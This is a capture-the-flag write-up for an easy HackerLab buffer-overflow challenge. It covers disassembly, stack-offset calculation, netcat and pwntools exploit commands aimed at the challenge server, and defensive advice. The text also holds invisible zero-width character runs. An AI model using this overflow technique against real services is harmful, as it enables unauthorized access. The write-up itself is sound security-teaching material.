Simple BOF: Вредный пингвин

Platform: hackerlab | Category: pwn | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2025-12-24 | Status: Solved Techniques: Buffer overflow to overwrite stack variable, Stack layout reconstruction, Static binary analysis with objdump

Summary

Task: Buffer overflow in program using gets() with stack variable controlling flag output. Solution: Overflow 31-byte buffer to overwrite check variable from 'n' to 'y'.

Simple BOF: Вредный пингвин — HackerLab

Description

Вы знаете, как переубедить этого вредного пингвина? Если да, помогите мне, пожалуйста.

Category: PWN
Difficulty: Easy
Points: 150

Analysis

Binary Investigation

ELF 64-bit executable file. When launched, the program asks something and waits for input.

Key findings during analysis:

1. Uses vulnerable gets() function — no bounds checking
2. Binary contains a fake flag C0DEBY{Et0_Ne_Fl@g} (means "This is not a flag")

Stack Analysis via Disassembler

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

 bash read-only • copy allowed Copy
objdump -d penguin | grep -A 50 main

Key instructions:

 asm read-only • copy allowed Copy
# Check variable initialization
mov    BYTE PTR [rbp-0x1], 0x6e    # 'n' (no)

# Buffer for gets()
lea    rax, [rbp-0x20]             # buffer at rbp-0x20
call   gets

# Condition check
cmp    BYTE PTR [rbp-0x1], 0x79    # compare with 'y' (yes)
jne    skip_flag
# ... print flag ...

Stack Layout

High addresses
+------------------+
|      rbp         |
+------------------+
| check var (1 byte)| <- rbp-0x1  (initialized to 'n')
+------------------+
|    padding       |
+------------------+
|                  |
|   buffer[32]     | <- rbp-0x20 (gets() writes here)
|                  |
+------------------+
Low addresses

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Offset Calculation

• Buffer starts at rbp-0x20 (32 bytes from rbp)
• Check variable is at rbp-0x1 (1 byte from rbp)
• Offset: 0x20 - 0x1 = 31 bytes

Need to write 31 bytes of junk + character 'y' (0x79) to overwrite the check variable.

Solution

Exploit

 bash read-only • copy allowed Copy
# Local test
python3 -c "print('A'*31 + 'y')" | ./penguin

# Remote server
python3 -c "print('A'*31 + 'y')" | nc 62.173.140.174 17000

Alternative Variant (echo)

 bash read-only • copy allowed Copy
echo -e 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x79' | nc 62.173.140.174 17000

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Python Script

 python read-only • copy allowed Copy
#!/usr/bin/env python3
from pwn import *

# Connect to server
r = remote('62.173.140.174', 17000)

# Build payload
padding = b'A' * 31
overwrite = b'y'
payload = padding + overwrite

# Send
r.sendline(payload)

# Get flag
print(r.recvall().decode())

Defense

How to prevent this vulnerability:

1. Use fgets() instead of gets()
2. Enable Stack Canaries (-fstack-protector)
3. Don't store critical variables near input buffers
4. Use ASLR and PIE

Notes

• Fake flag C0DEBY{Et0_Ne_Fl@g} — classic distraction technique
• Name "Вредный пингвин" (Naughty Penguin) — reference to Linux (Tux the penguin)
• Task teaches basic buffer overflow without needing to overwrite return address ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍